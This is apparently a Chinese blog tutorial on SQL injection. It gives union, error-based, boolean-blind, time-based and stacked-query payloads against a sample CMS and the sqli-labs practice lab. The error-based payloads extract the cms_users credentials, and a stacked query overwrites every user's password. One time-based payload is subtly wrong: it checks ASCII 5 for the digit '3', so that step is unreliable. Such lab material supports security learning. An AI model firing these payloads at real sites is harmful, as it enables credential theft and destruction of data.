SQL注入方法

目录

联合查询

1.通过回显判断注入类型

2.判断数据库列数,此数据库为15列

3.判断显示位(此处为3和11)N种方法,只需保证id后面的为假即可(改数字(法1)与加条件(法2))都可以。

法1:

法2:

4.查看当前数据库的名字

5.查看有哪些表名

解密获得表名

6.查看有哪些列名

解密获得列名

7.查看密码

解密获得密码

8.后台登录

9.登录成功

​编辑报错注入

查找数据库名:

查找表名:

我问对其进行统计:共有8个

挨个找到表名:cms_article;cms_category;cms_file;cms_friendlink;cms_message;cms_notice;cms_page;cms_users

查找列名:列太多

统计列数:共3列

挨个输出

用户名:

密码:太长无法输出全部

统计长度:32位

先输出前16位

输出后16位

拼接解密:

布尔盲注

判断数据库名的长度:8位

判断第一个字母:s

判断第二个字母:e

判断第三个字母:c

判断第四个字母:u

判断第五个字母:r

判断第六个字母:i

判断第七个字母:t

判断第八个字母:y

最终获得数据库名:security

延时注入

判断版本号长度:6位

第一位数:5

第二位数:.

第三位数:5

第四位数:.

第五位数:5

第六位数:3

获得版本号:5.5.53

堆叠查询

通过堆叠查询,修改所有用户密码为654321


联合查询

此处以cms为例:
1.通过回显判断注入类型

2.判断数据库列数,此数据库为15列

3.判断显示位(此处为3和11)N种方法,只需保证id后面的为假即可(改数字(法1)与加条件(法2))都可以。
法1:

法2:

4.查看当前数据库的名字

5.查看有哪些表名

解密获得表名

6.查看有哪些列名

解密获得列名

7.查看密码

解密获得密码

8.后台登录

9.登录成功

报错注入

查找数据库名:

?id=35 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

查找表名:

?id=35 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database()),0x5e),1)

我问对其进行统计:共有8个

?id=35 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)

挨个找到表名:cms_article;cms_category;cms_file;cms_friendlink;cms_message;cms_notice;cms_page;cms_users

查找列名:列太多

?id=35 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users'),0x5e),1)

统计列数:共3列

?id=35 and updatexml(1,concat(0x5e,(select count(*) from information_schema.columns where table_schema=database() and table_name='cms_users'),0x5e),1)

挨个输出

userid

username

password

?id=35 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 0,1),0x5e),1)

用户名:

?id=35 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)

密码:太长无法输出全部

?id=35 and updatexml(1,concat(0x5e,(select password from cms_users limit 0,1),0x5e),1)

统计长度:32位

?id=35 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)

先输出前16位

?id=35 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)

输出后16位

?id=35 and updatexml(1,concat(0x5e,(select substr(password,17,16) from cms_users limit 0,1),0x5e),1)

拼接解密:

布尔盲注

以sqli-labs第8关为例

判断数据库名的长度:8位

?id=2' and length(database())=8 --+

判断第一个字母:s

?id=2' and ascii(substr((select database()),1,1))=115 --+

判断第二个字母:e

?id=2' and ascii(substr((select database()),2,1))=101 --+

判断第三个字母:c

?id=2' and ascii(substr((select database()),3,1))=99 --+

判断第四个字母:u

?id=2' and ascii(substr((select database()),4,1))=117 --+

判断第五个字母:r

?id=2' and ascii(substr((select database()),5,1))=114 --+

判断第六个字母:i

?id=2' and ascii(substr((select database()),6,1))=105 --+

判断第七个字母:t

?id=2' and ascii(substr((select database()),7,1))=116 --+

判断第八个字母:y

?id=2' and ascii(substr((select database()),8,1))=121 --+

最终获得数据库名:security

延时注入

判断版本号长度:6位

?id=2' and if(length(version())=6,sleep(5),1) --+ 

第一位数:5

?id=2' and if((ascii(substr(version(),1,1))=53),sleep(5),1) --+ 

数:.

?id=2' and if((ascii(substr(version(),2,1))=46),sleep(5),1) --+ 

第三位数:5

?id=2' and if((ascii(substr(version(),3,1))=53),sleep(5),1) --+ 

第四位数:.

?id=2' and if((ascii(substr(version(),4,1))=46),sleep(5),1) --+ 

第五位数:5

?id=2' and if((ascii(substr(version(),5,1))=53),sleep(5),1) --+ 

第六位数:3

?id=2' and if((ascii(substr(version(),6,1))=5),sleep(5),1) --+ 

获得版本号:5.5.53

堆叠查询

 以sqli-labs_38 为例子

通过堆叠查询,修改所有用户密码为654321

?id=2';update users set password='654321' --+

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值